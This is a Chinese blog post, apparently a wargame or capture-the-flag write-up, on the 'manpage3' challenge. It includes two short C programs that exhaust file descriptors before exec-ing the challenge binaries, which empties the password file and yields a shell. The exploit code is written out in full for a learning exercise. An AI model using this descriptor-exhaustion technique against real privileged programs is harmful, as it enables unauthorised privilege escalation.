Quantcast
Channel: 记事本
Viewing all articles
Browse latest Browse all 122

manpage3

$
0
0

还是那个道理,打开的file descriptor会经过exec保存下来。我最开始的想法是,打开很多文件,然后执行manpage3,那么读密码那里就读空,因为密码文件打不开了

#include <unistd.h>#include <stdlib.h>#include <sys/types.h>#include <sys/stat.h>#include <fcntl.h>intmain(intargc,char*args[]){inti;for(i=4;i<1024;++i)open("./do.c",O_RDONLY);execl("./manpage3","./manpage3",NULL);}

这里上限1024是从ulimit -n得到的

在我的机子上这样是可以的,但在主机那里就不行了……

然后用同样的思路执行manpage-reset,使得urandom打不开。这样的话程序会崩溃,但密码文件是”w”打开,offset还在文件起始处,所以什么都没写就关闭了

#include <unistd.h>#include <stdio.h>#include <sys/types.h>#include <sys/stat.h>#include <fcntl.h>intmain(intargc,char*args[]){inti;FILE*fp;for(i=4;i<1024;++i)fp=fopen("/manpage/manpage3","r");execl("/manpage/manpage3-reset","/manpage/manpage3",NULL);}

之后再执行manpage3,密码为空,得到shell


Viewing all articles
Browse latest Browse all 122

Trending Articles